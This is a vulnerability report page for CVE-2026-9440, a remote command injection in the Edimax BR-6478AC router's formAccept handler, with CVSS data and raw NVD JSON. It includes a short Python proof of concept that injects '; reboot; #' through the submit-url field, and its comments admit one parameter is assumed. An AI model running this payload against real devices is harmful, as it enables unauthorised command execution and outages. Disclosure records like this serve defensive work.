Security Vulnerability Report
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CVE-2026-9440 CVSS 6.3 MEDIUM

CVE-2026-9440

Published: 2026-05-25 08:16:26
Last Modified: 2026-05-25 08:16:26

Description

A vulnerability was identified in Edimax BR-6478AC 1.23. Affected by this vulnerability is the function formAccept of the file /goform/formAccept of the component POST Request Handler. Such manipulation of the argument submit-url leads to command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Edimax BR-6478AC 1.23

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_cve_2026_9440(target_ip): # Target URL of the vulnerable endpoint url = f"http://{target_ip}/goform/formAccept" # Malicious payload: inject 'reboot' command or any other shell command # Using ';' to separate commands in the shell context payload_data = { "submit-url": "; reboot; #", "action": "apply" # Assuming a standard action parameter } try: # Send the POST request with the malicious payload response = requests.post(url, data=payload_data, timeout=5) print(f"Request sent to {url}") print(f"Status Code: {response.status_code}") print("Response body:") print(response.text) except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target IP address target = "192.168.1.1" exploit_cve_2026_9440(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9440", "sourceIdentifier": "[email protected]", "published": "2026-05-25T08:16:25.903", "lastModified": "2026-05-25T08:16:25.903", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was identified in Edimax BR-6478AC 1.23. Affected by this vulnerability is the function formAccept of the file /goform/formAccept of the component POST Request Handler. Such manipulation of the argument submit-url leads to command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://lavender-bicycle-a5a.notion.site/EDIMAX-BR6478ACV2-formAccept-34b53a41781f800093ccd3404dbc4461?source=copy_link", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/818449", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365421", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/365421/cti", "source": "[email protected]"}]}}